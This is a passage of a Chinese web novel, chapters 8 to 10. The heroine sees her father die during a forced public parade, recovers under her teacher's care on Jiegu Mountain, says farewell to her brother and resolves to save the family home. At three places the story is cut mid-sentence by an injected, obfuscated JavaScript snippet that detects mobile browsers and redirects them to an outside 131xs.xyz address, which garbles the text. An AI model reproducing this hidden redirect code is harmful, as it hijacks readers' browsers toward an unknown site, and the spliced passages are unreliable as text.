烛火盈盈,儒雅的人端坐在茶塌的菖蒲上。不知为什么,他明明不是让人生畏的人,却每一次与他接触,总觉得他们之间隔着难以跨越的山海。 “这些天孟三小姐来山上山下来往,可探得什么?” 他知道这事并不奇怪。 孟知微想到这儿,有些沮丧地摇摇头:“朝廷对于孟家如何处置还未传出消息来。” “今日早朝,圣上已经下了诏书,孟大人与弥伽族联合,罪同谋逆,男丁不满十八戍守边关,女丁发卖为奴……” “不。”孟知微蹭地一声站起来,“我父亲不会谋逆,不可能谋逆。” “三法司会审,罪证昭于朝堂。” “我父亲可有认!” “孟大人不认。” “那便是了!他从未认下这莫须有的罪状。” “大昶律法,人证物证俱有即可。” “人证是何?物证又是何?” “南海都尉抓获过一个弥伽细节,他口供中里提到他们手上有一个大昶兵库司出船的时表。禁军从孟家搜到了孟大人和弥伽大臣来往的信件,里头就聊到了‘定时通贸,以达四通’。” “可……”孟知微翻着泛白的嘴唇,“可若那些都是假的呢,都可以伪造的啊。” “大昶律法严格。” “律法难道就是用来草菅人命吗?” “即便孟大人是无辜的,你又能如何?” 这一句如同把孟知微扔进冰窖里,她原先因为愤怒而沸腾的血液一下子凝固在一起。 是啊,哪怕真的父亲是冤枉的,她又能怎么办。 她能改变这一切吗?她能阻止这一切吗? 她当时能眼睁睁看到禁军入府,就也只能眼睁睁地看着“证据确凿。” 她的双手攥在一起,坍缩成一团没有脊骨的皮囊。 孟知微沉默了多久,面前的人也跟着沉默了多久。 窗外吹来一阵风,把烛火吹的奄奄一息。 许久后,温淮川站起来,转过身去,背在身后的手指微微动了动,他喉头的这句话太悲凉了。 “明日孟大人要被游街示众,你若是不忍,就不要下山了。” —— 夜里一场大雪盖了本就没有什么人烟的解孤山。 今日倒春寒,潮湿的空气冷的人骨头都打颤,观展早些起来让人去把昨夜奄奄一息的炭火换走,推开门去发现被该被大雪覆盖的院外却早就被扫置一空了。 “这孟三小姐怎起的这般早?”他喃喃自语,又拍了拍脑袋,赵婶还未上工,小厨房里灶火都没有,她这么早起,怕是还饿着肚子。 他于是简单煮了米粥下去,又去后院寻孟三小姐,可小竹屋大门敞开,毫无人影。 往里走两步,他看到留在那儿的字帖,神色变了变,又跑回前院。 前院里的人才陆续起来。 温淮川正梳洗完出来,追风正拿了一件大氅给他披上。 “先生,孟三小姐下山去了。” 温淮川微微一愣,而后又继续系着大氅的抽线。 “这般大的雪,她下山去做什么?”追风倒是问道。 “这是她留下的书信,后院竹屋干干净净的,她把东西都收拾走了。”观展递上书信。 温淮川朝那书信看去,她的字迹算不上雅致,甚至还有些稚气。 “温先生敬启。” 她最终还是没有听他的话,下了山去。 —— 孟知微带着帷帽,本就狭窄的街道上挤满了一层又一层的人。 他们大多都不知道即将要发生什么,只是在庸碌又迷茫的短暂人生里积攒在这里。 两排禁军威严,高马铁胄在前,本来看热闹的人群中不知是谁高呼一声“那不是孟大人吗?” “孟大人,是常常施粥给我们的孟大人。” “他犯了什么事?” “你没听说吗,孟大人勾结外族谋反?” “怎么可能,孟大人平日里亲民勤政,又广渡饥民,怎么会谋反?” 孟知微从人群中挤进去,才看见被兵马圈在里面的人。脱去了官袍后,他像是一杆瘦弱的稻谷,头发花白,面容枯槁。按照大昶的律法,游行要赤脚行遍十四条主大街。 在冰天雪地里,他只着一身囚服,身后是一道道沁血的脚印。 和之前的游行不一样的是,道路两旁被该丢菜叶鸡蛋的人却无一人有动静。 附近的兵将首领见状,勒令那些民众把手里的东西投掷出来。 可眼见面前的是这位孟大人,任谁都下不了手。 “藐视皇威,如今你们这行径和谋反有什么不一样?”骑马的那个将领转头过来,长鞭一挥,吓的楞在那儿的百姓连连散开。 孟知微见状心中翻涌一阵情绪上来,她欲往前一步,却看到被鞭子到的人流中骚动中却笔直地站了个人。 那人书生打扮,身着一套素衣,木簪冠发,身上落到鞭子之初瞬间就起了一道血痕,在纷纷扬扬的大雪里很是明显。 “你为何不避?” “大人代表的是朝廷,是皇威,我只是贱民,雷霆雨露,皆是君恩。” 那大马上的将领冷哼一声,收回手上的鞭子:“算你识相,那便由你,来做这砸污的活吧。” “小人不敢。那人把头埋得更低。论私,孟老对小人有师生之恩,论公,孟老虽已贬黜官籍,戴罪之身,但其为两朝老臣,公绩不仅在朝也在市,若是因如今之错让市井唾之,难免让人觉得市井忘恩负义,妄断冤案。” “大胆,你可是在说当今圣上忘恩负义妄断冤案。” “草民不敢。实在是孟老年事已高,实在是受不住赤脚游行十四条大街之罚啊。” 话音未落,身旁一奴妇样的人扑通一声跪下:“大人,罪妇受大人当日时疫一恩,无以为报,这双草鞋是奴和几个女人一起缝的,连年兵灾饥荒,若不是孟大人用自己私库广施救助,我们也活不到这一会。” “谋逆之罪拖出午门凌迟处死都不为过,圣上仁慈暂未定刑,区区一个游街怎可着民鞋,来人啊,把这帮刁民都给我抓起来。” “住手!”围起来的人群被扒开,紧接着跑过来几个学生样式打扮的人,春闱将至,京城里多是的读书人,这帮年轻人短褐穿结、纳屦踵决,一看皆出自寒门。 这些人长了一个经世报国的心,抱负极高,自然就没把那督查的兵放在眼里。 其中在前面的那位举子噗通一声跪在地上,涕零道:“老师,我来迟了。” 被脚链拷住的孟政加急了脚步要往前,他连忙扶起面前的人:“勉砺你来这里做什么,今年春闱在即你还不快快回去,休要毁了一生仕途。” “不,老师,学生参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036001|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加春闱,本就是以老师为榜样,上直谏君王,下弹劾众臣,肃清朝堂。老师一生以此为准,今却因为南海开关一事横遭此祸,学生无能,却也觉得当今国库紧缺,南海开关虽有风险,但邻国孱弱,物资紧缺,未免没有交和之心。老师夙愿达旦,我与老师在南海时亲眼见他无畏风浪,写下南海观察手记十余篇,篇篇呕心沥血。说老师谋反,我不信!” 来人言之凿凿,颇有扰乱民心之向。 将领连忙大喝一声:“证据确凿还为反贼妄言,朝堂为何?三司为何?以圣上为何?来人,抓住这个反贼。” “若是朝堂之人人人都颠倒黑白,要是圣上登基日理万机被奸人蒙蔽,要是我大昶放眼望去全是自护而不敢上言之辈,我庄曜即便日后入仕,也不愿做这等庸碌无能之辈,还考什么科举,入什么春闱!” “你!”将领随即抽出自己的配刀,“别以为你是入册的举子我就不敢动你,今天,我让你知道什么叫做杀鸡儆猴!” “住手!”头发花白的老人挡在那个年轻人前面。 将领一看戴罪囚徒还敢呵令正要发作,可眼神一过去,却发现原先暮气沉沉的那位老者此刻眼里却全是不容他人反抗的威严。 那种威严不被他如今的囚衣镣铐影响,是从他肉和骨里发出来的,掷地有声的淡然。 淡然却压迫。 那个将领在那一瞬不受控制地噤了声。 孟政转了过去,风雪扬扬的天里,这个与他几次在海里风里共度的学生如今眼眶里满是清泪,肩头瘦弱,布衣褴褛。 他欲伸手去掸他肩头的风雪,又察觉到自己手掌里带着诏狱的脏污,转而弓起自己的手背,轻拍了拍他的手臂:“勉曜,《南海游记》尚有许多地方需要修正,老师只能交给你了,往日还希望你秉承初心,事必躬亲。” “可是老师……” 孟政看着眼前一脸为他抱不平的年轻人,只是坦然的笑了笑:“入仕才能有所为,为天地立心,为生民立命,为往圣继绝学,为万世开太平,无论什么时候,都不能失去心中志向。” 带着帷帽的孟知微感觉自己像是一个旁观者,她突然发现自己似乎一点都不了解她的父亲。 她只知道他不顾嫡母劝阻去南海,风浪里险些丢了一条命,却不知他撰写游记为表,体察民生为实。 他从前挂在嘴边的那些经世治国的话语,她总是插科打诨中糊弄过去,没有真的花心思听过他的担忧和期盼。 时至今日,她终于明白在她贪玩偷懒的那些日子里,父亲虽然不舍得打下来的手,却也总是摇头说,不知道她这个样子到底是好,还是不好。 孟知微出生的时候,父亲已经不再年轻,人都说老来得子,父母更是爱幺儿。 她这些年咋呼惯了,父亲也没有和一般的闺秀一般教她理清朝堂之中的厉害关系,也没有盼着她一日出嫁,在日后门户中笼络势力。 回到家中后也鲜少提及朝堂之事,是关爱妻室的丈夫,疼爱子女的父亲。 但面前瘦弱的父亲早就没了从前从容的模样,衰老已经爬上他的脸庞,冰冷的雪地里,他的双脚冻成黑紫色,但他依旧立在风中不倒。 孟知微一直在人人群中。 忽而,他转过来,直直地看向带着帷帽的她。 风吹起帷帽的边,只一瞬间,孟知微看到对面的人从原先的凝重变的淡然,一如记忆中的那般慈爱。 他朝着她的方向: “紫堇花开,春如梦来。。” 而后声音变轻,变柔和,变得具体化像是年长的父亲。 “起风了,早些,回家去。” 然后他两步踏上一旁便于祭祀的高台,高声阔论。 “建和三年,臣领先帝之命清查走私贩盐,君主相依,不容有疑。” “建和十年,臣出任南海使臣,见外族君王犹如膝下卧刀,不肯跪拜分毫。” “如今,君今予我走遍这十四长街,让我囚衣素面,便是要警告世人,大昶国土,不容侵犯。然臣虽于邻国书信,却只止步于农事天象,探讨丰农之法。并非臣罔顾当年割地之耻,只是今我大昶饥荒三年,民生疾苦,若能与异族同贸,以物换物,灾情或可解,然君有疑臣,则是因为我大昶无人可挡海上盗匪,臣未能为君分忧,是为人臣子之错。然臣妻母家已尽数命丧战场,除去两女,臣唯有一子,恳请圣上开恩准其戍守南海海防。” “臣对大昶,从无二心。” “皇天后土,以此为证!” 下一秒,高台上的石柱发出巨大的响声。 像是千年的古钟从厚重的历史尘土中被人刨出——— 受不了这灼日。 自陨成一地的瓦碎。 8. 菩萨蛮 洁白的雪地里染上鲜红的血,四周一片哭天抢地的哀恸声里,孟知微的五官像是被什么东西笼罩住了,眼前只看到画面如同年少时看的皮影,一张一张地缓慢播放,耳边却什么人的声音都听不到,只听到雪花落下,发出微小却让人震撼的声音。 她模糊之中听见有人在喊“三小姐”,麻木转过头去后看到解孤山那个总是抱着刀的少年,他嘴巴一张一合,她不知道他在说什么。 下一秒,天旋地转,她便不省人事。 —— 解孤山风月堂里风雪天里窗户对开,追风和观展一个站在塌边,一个半蹲在那儿。 追风抬起头问一旁的人:“这孟三小姐不会死了吧?” 观展:“你瞎说什么呢?” 追风:“都说父母之亡是难以承受的痛,更何况她是亲眼见到自己父亲自撞于祭祀台,你不知道,我找到她的时候,孟大人有多惨烈。” 观展:“行了你别说了,一天天的就你这张嘴最能说,等孟三小姐醒来,你可千万不要在她面前提起这事。” 追风:“知道了。只是先生也是奇怪,孟三小姐都收拾东西写了告别信,却还是让我下山把她带回来,我当时还说她若是不肯跟我回山要怎么办,先生却说,到时我自然是有办法带她回来,谁曾想到这办法说的是她见我便晕倒了,我于是就和扛死人般的把人扛回来了。” 观展:“先生做事总是有先生的道理。” 追风:“可你没发现先生管的事越来越多了吗?乐善好施可不是咱家先生的品性。” 观展低声斥责他:“不要妄议先生。” 两人正说着,忽闻塌上的咳嗽了两声,顿时两人鸦雀无声,你看看我,我看看你,然后忽地都散了。 过了一会儿,他们才跟着那白衣男子进来。 温淮川放下药箱,低声问道:“只是咳嗽?” 观展:“追风带孟三小姐回来后我俩就守着,她一觉不醒,只是刚刚咳嗽了一声。” “嗯。” 温淮川从药箱里拿出一块纱帕,遮在孟知微的手腕上,又抬头见她眉头紧蹙,梦中喃喃。 “受了些风寒倒不是大事,只是惊厥连连,郁气肝结。”他收回自己的指尖,也撤了纱布。“醒来后按照我的方子让她服一贴药。” 观展问到:“先生可知孟三小姐何时会醒?” 说话的人已经在整理药箱了:“要看她自己何时才愿意醒来了。” 说完之后,他长长的一眼落在她身上,她依旧额间有汗,面容焦虑。 观展:“只是山中没有女眷,我和追风照顾孟三小姐多有不便,先生您看这……” 追风却立刻说道:“再找一丫鬟婆子来不知底细的,风月堂几时让外人进来。” 观展:“这不是今时不比往日嘛,孟三小姐住在这儿……” 追风:“她几时要长住了,病好了就下山去了,况且先生说她只是风寒,要不了多久的……” “好了。”原先背朝他们的人转身过来阻止,“观展,你今日下山挑一个丫鬟上来吧,底细清楚些,人勤快些就行。” “遵命。”观展作揖,“属下这就去。” “等等。”温淮川又叫住他,“年纪与孟三小姐相仿,最好也有世家大族做过丫鬟仆役的经历的。” “好。” —— 孟知微的梦境反反复复。 少年时家中先生私塾授课,兄长端坐在窗前听课写字,她却扯了两张油纸嚷着让兄长陪他做纸鸢。 她吵闹不休,嫡母生气命她在祠堂罚跪。 父亲下朝回来,朝服都还未脱,就把脏兮兮的她往身上抱。 “爹爹陪阿堇做纸鸢。” 油纸上的鬼画符不堪入目,他却笑呵呵地在一旁夸赞她下笔堪比“神笔马良”。 “神笔马良是谁?” “传说中画什么就像什么的人。” “爹爹是说,阿堇如今是画什么像什么了吗。那阿堇比起宫里的大画师又如何?” “阿堇想去宫里当画师?” “不,我才不要。我要打败他们,然后又让他们知道,真的有才之人是不被禁锢的,我到时候要一画成名,然后等不及文人追崇我的画作后便转身云游四海,成为传说一样的人物,就像当年的名正江湖的月下闻笛而动的莫离疏,一把霜月剑一战成名后归隐江湖当少年隐士。” “少年隐士又怎么样,还不是最后背叛同盟,与朝廷招安,背上骂名,沦为走狗。”温书完后的兄长读了那么多的礼义廉耻,自然对这事见解更为周全。 “你为何说我偶像!” “你年纪尚小,是非不分,误要以不正之人为偶像。” “兄长胡说,兄长读书读成呆子了。” “是你从来不读圣贤书,才眼见狭隘,把顽石当做璞玉。” 兄妹俩吵得不可开交,王氏过来喊他们吃饭,让人一左一后好生算是圈住了。 回过神来的孟知微转头又去叫爹爹。 可刺目之间,只见书房梁柱上血迹斑斑,六月飞雪。 她惊地从梦中醒过来,额间大汗连连。 在打扫屋舍的锁银连忙过来,看到床榻上的人的样子,忙打了一盆水递上毛巾:“孟三小姐睡了三天了,终于是醒了,奴这就去回禀先生。” 孟知微后知后觉地看了一圈屋子才发现她又回到了解孤山,她一直做很长很长的梦,却发现现实的世界里,她真的亲眼目睹了父亲一头撞向那青铜祭祀台,在漫天风雪里断了气。 “孟三小姐?” 孟知微的眼神光重新聚在一起,她看到面前陌生的女子,问道:“你是谁?” “奴婢叫锁银,是温先生让我来伺候您的,他嘱咐您醒了务必要叫他过来,我这就去禀告他。” 锁银说完就退下了。 孟知微抬头一看外面,这不是她原先睡的后院,而是前院的风月堂,是温先生的起居所。 现在想来,她若是晕倒在长街上,还不知会惹出多少麻烦来。 留于他人篱下,她本该起身道谢,只是夜色孤寂,寒夜入骨,脸上泪痕未干,心中悲戚难安,于是等银锁把人叫来的时候,她都未从榻上下来。 轻纱再度握上她的手臂。 孟知微坐在那儿,半个身子散成毫无支撑的叶子,随时就要倒下去一般:“有劳先生了。” 他未言,只是嘱咐锁银:“把煎好的药拿过来吧。” “是。”锁银点头,而后又问孟知微,“孟三小姐可爱吃酸甜的?奴婢买了些话梅干,喝完药就着吃好些。” “谢谢你。”孟知微支撑着力气说道,“只是往后,别再叫我孟三小姐了,我已是罪臣之女,奴籍之身。” 锁银有些难堪,还是面前蒙着眼纱的男人侧头对她说道:“你先下去吧。” 锁银应声告退。 即便解孤山避世,但忌讳着男女大防,门窗皆是大开着的,这会儿风从窗口灌进来,孟知微又猛然咳了起来。 眼前的人把炭火盆里的银碳挑了挑。 孟知微:“劳烦先生了。” 温淮川手上动作未停:“三日前庭院门口早早被清扫而净的雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036002|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应是我谢你。” 三日,已三日了。 她叹了一口气:“我知道先生好意,本不想让我下山看到,但身体发肤受之父母,我又岂能坐视不管。” “孟大人高洁,如今朝廷之上为其鸣冤者众多,当今圣上顾及民情,已让你兄长从狱中出来,遵从孟大人的遗志,去南海做市舶使了,虽无诏不得回,但自是食俸禄可立命。至于你阿姊,她本嫁与国公府,圣上自然不会连坐与她。” 如此,如此便已经算得上是最好的结局了。 “那孟府其他人呢?”孟知微追问。 “奴仆变卖,家丁充军。孟夫人……” 孟知微抬头:“我母亲如何?” 眼前的人有少许的迟疑,而后说道:“知道孟大人长街以身明志后,她自缢于狱中。” “母亲……”孟知微顿时眼中哀痛连连。 心中的酸楚和无奈蔓延开来,眼前瞬间模糊一片。 一方娟帕递到她面前,月白色丝质,柔软又轻盈。 她只听到他唤她:“阿堇。” 她含泪抬头,怔怔地看住他。 他眼前依旧是有一层轻纱,但眼神的轮廓表明他在看她,他再度把帕子递过来,只是继续缓缓说道:“按照大昶律法,谋反罪重者要株连九族,凌迟而死,但圣上一直未对孟家定刑,便知他是有心宽恕,再论下去或许孟大人能逃过一死,但你可知,为何孟大人宁可身死于闹市,也不等天恩处罚?” 孟知微诺诺:“或许……或许父亲对皇权失望,已不愿再等……父亲心性高洁,容不下污蔑,以死明志。” “你父亲自然心性高洁。但他两朝老臣,若没有城府心算,又怎可在权势更替下独善其身呢。圣上一直有意从宽,为何他却要以身明志?” “您是说——”孟知微反应过来,“我爹爹是想利用圣上的愧疚,然后保全我们族人,尤其保全我们兄妹姊妹。” “没错。如此一来,朝堂本被压制下去的关于革新重开贸易的声音又会死灰复燃,他的遗志也可得到继承,更重要的是,他们也无法在对你和你兄长下手了。” “他们是谁?” 孟知微追问。 眼前的人却不说话了。 孟知微连忙从榻上起来,对着他磕了三个响头:“还望先生赐教。” 但淡薄如同眼前平静燃烧的烛火般的人物却摇了摇头:“朝堂上的事我已不管,我又如何能知。” “但您只是凭我父亲一个动作便洞若观火,您不让我下山恐怕早就猜到我父亲要做什么了,您避世却不避心。”孟知微心直口快。 温淮川转过头去,看向她。 她手上还带着那串月白色菩提。 冷测测的。 她说的没错,他避世却不避心。 他起身,站在她面前:“你既知道我已知晓孟大人所为却不告知你,你可怨我?” 孟知微:“那日兄长求学后匆忙而走,您也知道我家中会遭遇变故,您也没有告知我。” 他听懂了,是有怨的。 “但知微不怨,先生救我于水火,施我粥饭,供我暖屋。”她话语间又给他叩了三个头,“知微无以为报。请先生教我读书,授我圣贤道理。” 四周安静地只听到风声。 “女子治经,犹春蚕食雪。”这是对面的人沉默后的一句劝阻。 “可先生从来都不认为如此,对吗?” 她久久都未起身,她在目睹父亲离去的那一刻就想好了。 孟堇这一生,都做不成闲云野鹤淡泊归隐的江湖画师了。 9. 菩萨蛮 孟逸即将要远赴南海船舶司出任,雪落天里,孟知微再见到他的时候,他一身青衫,面容消瘦,少年英气渐无,牵了一头瘦马,站在半山腰上,与她对望。 “兄长。”孟知微一开口,语气里忍不住地就带着一股哭腔了。 孟逸往前一步,安慰地拍了拍她的肩膀:“阿堇,兄长这一去不知何时才是归期,如今兄长放心不下的唯有你一人,当今圣上虽然已有开恩,但孟家依旧是罪臣,追捕你的文书依旧,你还是得小心为上。” “我知道。兄长,南海风浪凶险,常有海盗出没,兄长你千万要小心。” “我会的。” “还有这个”孟知微把之前王氏给她的那把匕首给她,“这是母亲给我的,我想,它更应该属于你。” “母亲给与你的东西,那便是你的。” 短剑被他退回来,兄长淡然地笑笑:“母亲常说自己虽是将门之后,但我和你阿姊不是半点学武的苗子,你虽不是她所亲生,但她总是常说,你是最像她当年的心性的。” 孟知微抬头:“母亲……真这么说?” “阿堇,母亲虽然话说的不好听,但她心里,其实把阿堇看得很重。” 孟知微眼眶里的泪水要落下来,她点点头:“我知道,我知道,是阿堇从前不听话不懂事,让父母担忧。” 孟逸双手搭在她的肩上:“阿堇,兄长与你说一句话,你要记住,这也是父亲对我说的最后一句话。” 孟知微抬头。 “不要再想过去,也不要想给爹爹洗清冤屈,去过自己的生活。” 孟知微却含泪问他:“兄长能做到吗?” “我……”孟逸拂袖,“我是男儿郎,怎可见姊妹离散、家族蒙冤,虽我人在南海,回京也不知几何,但家仇未清,我又怎能如同什么事都没有发生呢。只是我人单力薄,一时之间我也难以转圜……” 他又郑重其事地和孟知微说:“但阿堇,你与我不一样,我与父亲都知道你的心性,女子在世上本就难行,好在先生大恩,可留你在学堂,孟家罪名虽未清,但终究好过你在俗世飘零。待到你及笄,兄长应当也以安定,再托人接你过去。” “阿堇明白。”她将手中的包裹塞进孟逸的怀里,“这些是傍身的药,南海路途遥远,气候多变,兄长要照顾好身体,还有那海上的风浪如此大,兄长若是出海可千万要注意。我还常听说南海有匪寇作乱,又有外族滋扰,兄长去了南海第一件事便是要找一个有些功夫的小厮在身边照顾。” 言辞里全是关怀,孟逸低头看那有些重量的包,久久凝神,忽而一笑。 “兄长笑什么?” “家中遭变后,倒是让阿堇关心替兄长考虑了,我倒不知道是该欣喜,还是该悲伤。” “我……” 孟逸将她抱入怀中:“抱歉啊阿堇,本想给你一个体面的及笄礼的。可如今……如今爹娘已逝,兄长又不在你身边,你可……你可怎么办才好。” 他这番话语里哀恸连连,兄长自幼老成,可也不过是才行过冠礼,他心中有江河丘壑,自知“无诏不得回”意味着什么,怕这辈子都要老死异乡,草草一生了。 这一番话让孟知微不由地心中泛起悲凉之意。 逝者已逝,生者因逝者的坟冢托举才再见天日,可生者苟延,又怎知不是生活在逝者永远的墓碑阴影下呢。 雪才将将停,前行的路上连马蹄印子都没有。 孟逸远远地看向在身披一件大氅在亭子里等着的人,带着孟知微过去。 远山孤桀,隐与雪中。 青白色大氅下白衣飘袂。 孟逸双手伏地,行了一个大礼:“治堂带小妹感谢先生大恩。” 孟知微也随之跟着行礼。 “孟公子不必这么客气。” “小妹性格顽劣,多有冲撞,还往先生能不与她计较。” “孟公子严重了,只是解孤山偏远乏闷,我也只能授些诗书,不与大家氏族般循名门教养之风。” “如此,便已是先生对我孟家大恩了。”孟逸接连磕了三个头。 行囊上马,山高水远。 兄长身上虽有父亲的忍让,却也一定像她这般背负了家族的仇恨吧。 只是皇权威严,朝内权势复杂,他一腔热血报复无处可抒。 如她一般,困于蝼蚁之身。 孟知微望着远去的人,眼眶湿漉漉的。 直到听到身后的人叫她:“阿堇。” 她才回过头去,擦泪作揖:“先生。” “解孤山虽避世,开堂讲学之时也不问来人姓名和来处,但你身份尴尬,往后你不能再提起你的孟姓,也不可以孟三小姐而活,你可知?” “阿堇明白。” “你在家中排行第三,为掩人耳目,往后我就以小五唤你,你可愿意?” “小五愿意。” “我虽然依旧誉名为天子少师,但朝堂风云已于我无瓜葛,天下万民甚至家国兴亡,皆不是我所关心之事。如今大昶王室专纵横之术,朝堂权臣尽数结党,孟大人之死,更是警钟,你莫要再回头看了。” “小五……”她咬牙撑到,“明白。” “如此,便与我回去吧。” 孟知微上了马车。 她撩起帘子看着自己和兄长刚刚留下的马蹄脚印越来越远,又看到纷扬的大雪覆盖完他们的车辙印子,最后等到天色都暗下来了,她才收回冻僵的手。 马车里很安静,她闭上眼睛,耳边只有车马行时与地面摩擦的声音。 在逐渐暗拢的光线里,温淮川眼神落在孟知微身上。 她双眉微蹙,似是有些惆怅,现如今闭着眼睛休憩,但体态算不上舒适。 他一早就听唐子玉来和他诉苦,说孟知微接连几天都去他那儿讨活干。 唐子玉:“这孟小姐是个会敲竹杠的,我与她活之前她态度极好,软话连连,等我真心软于她活了,她搬银炭的时候价钱足足比普通小工高了三文!我问她为何,她却说那三文是因为对我的夸耀而她应得的辛苦钱。温淮川,你说说,你说说她一个世家大族的幺女,怎行事如此市井,坐地起价一副商人做派!” 温淮川起先不知道她急着要钱何用,今见到她临别兄长又买了那许多的药膏山参,就知道原委了。 原先端坐的人后迷迷糊糊地又在那儿捣头,风从车里灌进来,冷得人哆嗦。 她一身单衣,他遥遥看一眼,皱皱眉头,她横行莽撞总不知保暖。 随后他身上的白狐大氅又落在她的身上。 孟知微入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036003|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦,梦里她睡在山神破庙里,团缩成一团的时候漏光的屋顶里落下雪来。 只是奇怪地是,这雪本应当是冷的,但她却觉得身体不再打寒颤。 —— 解孤山风月堂本开课不多,但春闱将至,学子们把这不开课的解孤山当成了文曲星庙似的,络绎不绝。 孟知微扮做男装,在前院做些洒扫工作,听得两位面生的公子在那儿讨论: “温先生虽避不见客,但这依旧门庭若市。” “听说温先生入冬之后咳疾一直未愈,眼下还未开春,约莫是见不了人了。” “那为何还有这许多人?” “兄台是第一次来春闱吧。” “请这位兄台赐教。” “温先生虽避世,但他的文章风采、治经见著也是常人不能及的,清流者慕名而来,且他虽不过问朝廷之事,但到底是当朝天子的老师,来客又不限门槛,除了讲学治礼,更是朝中来往交友甚好的途径。” “这……这岂不就是借求学之名私下笼络结党营私嘛。” “不然怎么温先生常年闭门谢客呢。” “世风日下,不像你我。你我是真的仰慕先生文采才来的,据说当年天子年幼,他一篇劝学著,算得上是字字玑珠,呕心沥血,流芳百世了。” “那是自然,只不过为官之道嘛,谁又不想有大树可依呢。当今朝堂上风云突变,孟家一事,就是最好的警钟了。” “孟家?”那位年轻人压低声音,“孟家可是证据确凿人证物证的,天子威严,兄台不可胡说。” “少一字是司职,多一字是谋反。朝堂局势又岂是你我能看得清的?孟大人从来不依附党派,也不知道到底是挡了谁的路,可怜孟家两代元老,如今就连府邸都被没收典卖了。如今京中不少权贵都想参与买卖呢。” “这……也不怕忌讳……” “足足低于市价三成,如今京中地价多贵?修葺一翻一朝如新,谁还管过去发生过什么呢,再说了,风水大师说了,孟老大人卒于闹市,孟夫人自缢于狱,孟府总是干净的。” “可我听说,孟家大小姐可是国公府世子妃,她能亲眼看着自己母家沦落到他人手上?” “看不得又怎么样,自从孟家出事,国公爷在朝堂上可有说过一句话?恨不得摘出来才好呢,孟家大小姐已嫁为人妇,自然在家从夫。孟家唯一的男丁已去南海,估计这辈子都不回来了,还有那三小姐悬赏捉拿了这么久也不见消息,一个单薄女子估计早就已经身遭不测了。所以这孟府,价格低,又没有后续的风险,实在是块肥肉啊。” “兄台可也要去竞标?” “瘦死的骆驼比马大,这么大个宅院,我又哪有这许多的银两,但不久后就有竞标,到时一定精彩。你我可要去看看热闹……” “那是自然。” …… 孟知微迅速反应过来,她自小长大的宅院,她爬过的园子里的那棵洋槐数,阿姊栽种的牡丹花,兄长修葺的亭台,父亲引渠而建的荷花池,母亲练功的前院…… 尽数要变成别人的了。 孟家长女出嫁,嫡子被贬,幺女消失。 群虎环伺,狼顾鸱张。 父母含冤而死已是大恸,她不能连孟府的砖瓦墙片都保不住! 10. 菩萨蛮 没了白日里的喧嚣。 孟知微看着烛火燃落而下的烛泪出神。 “卫懿公好鹤亡国,是何故?”手中握一卷数的人走到她面前,她毫无知觉。 戒尺落在课桌上的时候,孟知微才反应过来,她缩回脖子,做得端正,把手伸出来:“学生神游,请先生责罚。” 手板升直,戒尺落下三下,掌心火辣辣地疼。 孟知微龇牙。 “卫懿公好鹤亡国,意在警告世人,德不配位,必有灾殃。” “是。学生记住了。” 但面前的人却没有接她的话,说完后只是放下手边的一卷书:“你今日心不静,书不进心,回去吧。” “先生……”孟知微抿了抿唇,话到嘴边难开。 放下书的人已经坐会了自己的案桌前,转腕沏茶。 “何事?” “您……您能借我些银子吗?” 茶壶中的水微微一滞:“我是你夫子。” “我知道我这样很不合适。”孟知微有些窘迫,“我本想是去问唐阁主借的,可他前几日下山云游江湖去了,我在京城不便露面,又没有营生,但我的确是要有紧急的用处。” “你要去买孟家的宅子。” 孟知微猛然抬头,见他抿茶,说的淡然,自己也就不遮掩了:“是。” “你兄长临行前是如何交代你的,我又是如何交代你的?” 孟知微:“可我……” “我问的是,你兄长如何交代你,我又如何交代你。” 孟知微低头:“不再姓孟,也不再是孟家三小姐了。” “你既知道这事,就该知道,这事你阻止不了。” 孟知微:“可我不想以后兄长归来,姊妹团聚却物是人非,那是孟家,是我家……” 面前的人却用冰冷的声音打断她:“你以为,守下了个死物,就能改变什么吗?” “我……” 孟知微一时语塞。 是啊,她能改变什么呢? 她什么都做不了,在这解孤山里苟延残喘,一天一天地过这不知道还有什么意思的日子。 烛火跳跃了一下,影子落在纸面上,夜风都吹不动。 —— 第二日一早,孟知微起来一个大早。 要下山只有一条主干道,会经过风月堂,所以孟知微没有从大门走,而是翻墙从小道走。 她在院外放了个破柜子,方便她踩着下去,谁知今天却一脚踏下去落了空。 “哎呦”一声,她摔在刚雪融的黄草堆里。 眼前出现的是月白色的衣衫角,她抬头往上看去,却看见来人坐在一把椅子上,蒙着眼纱,早就一幅“瓮中捉鳖”的样子了。 一时间昨天被打的掌心还火辣辣疼。 她迅速整理好自己的衣衫,跪坐下来,一副认错的样子:“先生。” 